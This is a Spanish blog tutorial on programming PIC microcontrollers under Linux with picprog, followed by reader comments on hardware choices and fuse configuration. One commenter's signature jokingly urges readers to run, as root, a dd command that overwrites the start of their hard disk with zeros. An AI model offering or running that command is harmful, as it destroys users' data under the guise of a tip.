Cómo programar microcontroladores de la familia PIC de Microchip en GNU/Linux
Si tienes un programador serie de la familia T20 o derivados estás de suerte. Ahora, con una mínima modificación en tu programador, puedes programar microcontroladores PIC utilizando la herramienta PICPROG que actualmente se encuentra en su versión 1.7 (y tu programador seguirá siendo compatible con icprog
Hablaremos del software. Lo único que nos hace falta es tener instalado picprog. Bajamos el paquetito debian que vemos (a la hora de escribir éste documento es picprog-1.7-2_i386.deb
Cuando tengamos el archivo, lo instalamos. Como root tecleamos
~# dpkg -i picprog-1.7-2_i386.deb
Después de la instalación ya estaremos listos para utilizarlo como se muestra a continuación.
Para borrar por completo el microcontrolador escribimos:
~# sudo picprog --erase --burn -d pic16f84a --pic-serial-port /dev/ttyS0
Las opciones son las siguientes:
Para programar el micro:
~# sudo picprog --input prjs/brujulaPIC/compas.hex --burn -d pic16f84a --pic-serial-port /dev/ttyS0
La única opción nueva aquí es --input que como habremos imaginado sirve para indicar cual es el archivo con extensión .hex a utilizar.
Por último como leer del micro:
~# picprog --output mi_archivo.hex --burn -d pic16f84 --pic-serial-port /dev/ttyS0
Con la opción --output le decimos a picprog dónde queremos que guarde los datos leídos.
Para poder utilizar el programador T20 con picprog (y aún así que sigua siendo compatible con icprog) deberemos hacer una pequeña modificación en el hardware. Ésta modificación consiste tan solo en cortar un par de pistas e introducir un transistor MOS 2N7000 o compatible.
En el siguiente enlace sobre modificación del T20 podremos ver de forma gráfica éste proceso.
Es muy sencillo, y si no nos atrevemos nosotros seguro que conocemos a alguien que se atreva a hacerlo por nosotros.
Comments
Link interesante
Para aquellos que desarrollan aplicaciones con PICs aquí les dejo un link de una excelente comunidad de desarrollo de este tipo de sistemas, es el foro TODOPIC: http://www.todopic.com.ar/foros/index.php
Pueden hacer todas las preguntas que quieran, normalmente las respuestas se obtinen rápidamente.
gracias...
... aunque aquí ya tenemos a Javibot!!!!
--
·brue
brue
Thanks....
El foro tiene buena pinta e incluso habla de AVR, Motorola, Robótica y mecatrónica. Tiene buena pinta. Lo he añadido a mis favoritos.
Y Brue, no me digas esas cosas que luego me las creo....
The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --
Programa aeronautica
Somos unas chicas de ingenieria aeronautica y tenemos que hacer un trabajo que consiste en darle
movilidad a alerones y a los timones de profundidad y direccion de un avion de aeromodelismo, mediandte un jostik. Para ello necesitamos programar un microcontrolador, pero nos han enseñado a programar en MATLAB y segun nos han dicho los microncontroladores se programna en C. Otro problema es que nosotras debemos elegir que microcontrolador comprar y no sabermos nada de eso ni cual es el mas facil para lo que deseamos hacer ni donde conseguirlos ni como meter el programa en el microcontrolador. Asi que buscamos ai alguien puede orientarnos un poco sobre el tema o decirnos donde se puede conseguir esa informacion.
Atentamente Cristina, Elo, M Cruz, Carmen y Marta
Hola
Bueno lo que quieren no es tanb dificil
yo uso MPLAB gratuito de microchip
pueden usar el pic 16f84 para lo que quieren
un fijador voltaje integrado 7805
a la salida del pic
necesitan un optoacoplador yo uso MOC3031 que se comunica con
un triac el cual puede ya manejar motores
loc circuitos pueden bajarse internet
y el programa habra que dicutirlo en detalle
espero le ayude en algo
Chicas de aeronáutica (con ganas de PIC)
Muy buenas. Perdonad que no os contestase antes, pero hace bastante que no entro a crysol (muy mal por mi parte, ya lo sé). Decidme vuestos emails y os contestos personalmente.
Por otro lado tenemos una lista de correo acerca de microcontroladores PIC (http://arco.inf-cr.uclm.es/cgi-bin/mailman/listinfo/pic) Si os dais de alta ahí podeís mandar dudas.
The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --
Sí señor!
Eso es disponibilidad!!!
Mira que luego te costaba ayudarme con el STT de la 360 ... !!!
A partir de ahora, llamadme Priscila!!!!!
Un saludo,
Priscila, con ganas de PIC
--
·brue
·vigilando
brue
¡¡Tendrás queja!!
Si hombre, te quejarás.... Lo que pasa es que no había programador a la vista, además, tiran mas 2 .... q 2 .... (y si son 10 mejor) (Perdonad chicas, me lo ha puesto a huevo....)
Feliz año a todos
The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --
Ves?
Te has “pasao”… Ahora seguro que ya no te contestan.
No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.
Alimentad el tópico...
...de linusero friqui que nunca ha visto una tia que no esté en jotapegé o penegé...
P.D. Yo no se de PIC's pero aprendo rápido!!!
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------
------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------
Mejor nombre
Para llamarte Priscila, llámate Piccilla
Vamos, porque aquí no tenemos las puntuaciones de /., que si no ya tendrías 5 puntos por "divertido". Juas!!!
MagMax, autor de Pygrep, el GUI para GREP hecho en python
Una pequeña cuestión de estilo
No uses “aqui” como texto en los enlaces. Es un consejo de W3C, y mio también.
Por ejemplo, Google utiliza el texto del enlace para hacer la indexación. Pon el enlace en la palabra “picproc” y así ayudas a una correcta indexación y tiene más sentido al leerlo. Busca “here” en google y comprenderás porqué encuentra más de 4.500 millones de coincidencias.
No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.
No puedo con los FUSES y OSCILADOR
He seguido todos los y he construido el JDM que comentas y el resultado es fabuloso, sólo que tengo un problema que ya me esta minando la cabeza.
El picprog me graba en el micro el HEX que yo hago pero no me activa los fuses que yo quiero, por ejemplo, para que funcione mi aplicación en el 16f84 necesito que me desactive todos los FUSES (CP, WDT, ...) y como oscilador XT, pero esto no lo hace....
¿Alguien sabría como puedo remediar esto? si no lo consigo no tendré mas remedio que hacer mis desarrollos con Windows y eso no me apetece nada.
Gracias y hasta pronto.
para programar el 16f84 uso
para programar el 16f84 uso lo siguiente:
__CONFIG _XT_OSC & _WDT_OFF
esto me desactiva el watchdog y selecciona oscilador de cristal se pone despues de los includes.
si quieres ver las demas opciones para configurar checa el documento, 33023a, es un pdf que puedes encontrar en la pagina de microchip.
espero que te sirva de ayuda.
FUSES Y OSCILADOR
Muy buenas. En los PIC los fusibles se programan escribiendo la palabra adecuada en una dirección de memoria concreta.
Para el caso específico del PIC16F876A que es con el que estoy trabajando actualmente, los fusibles se encuentran en la dirección 0x2007. Por ejemplo, para poderlos programar yo utilizo las siguientes directivas en mi asm:
org 0x2007
dw 0x3f3a
Ésto lo pongo al principio del código. Al ensamblar puede que te diga que estas en una dirección fuera de rango (esa dirección no corresponde a código ejecutable), pero te generará el código necesario dentro del .hex
Mira en el datasheet correspondiente al micro que estés utilizando en qué dirección se encuentra el registro de opciones especiales y haz lo mismo a ver si te rula. Para el caso concreto del 16F84 creo que es también la dirección 0x2007, pero no lo puedo asegurar.
Ya nos cuentas. Un saludo
The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --
Hombre, un poco salvaje,
Hombre, un poco salvaje, para eso está la directiva __CONFIG y sus flags correspondientes:
Por ejemplo:
Eso desactiva el bit de code protection y el watchdog, activa el power timer y configura el oscilador de cristal.
Cada procesador tiene un .inc con todos estos flags.
Gracias por el piropo....
Vaya, gracias por el piropo.... jeje.
Bueno, probaré la directiva CONFIG que me comentas y ya os diré qué tal.
Muchas gracias
The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --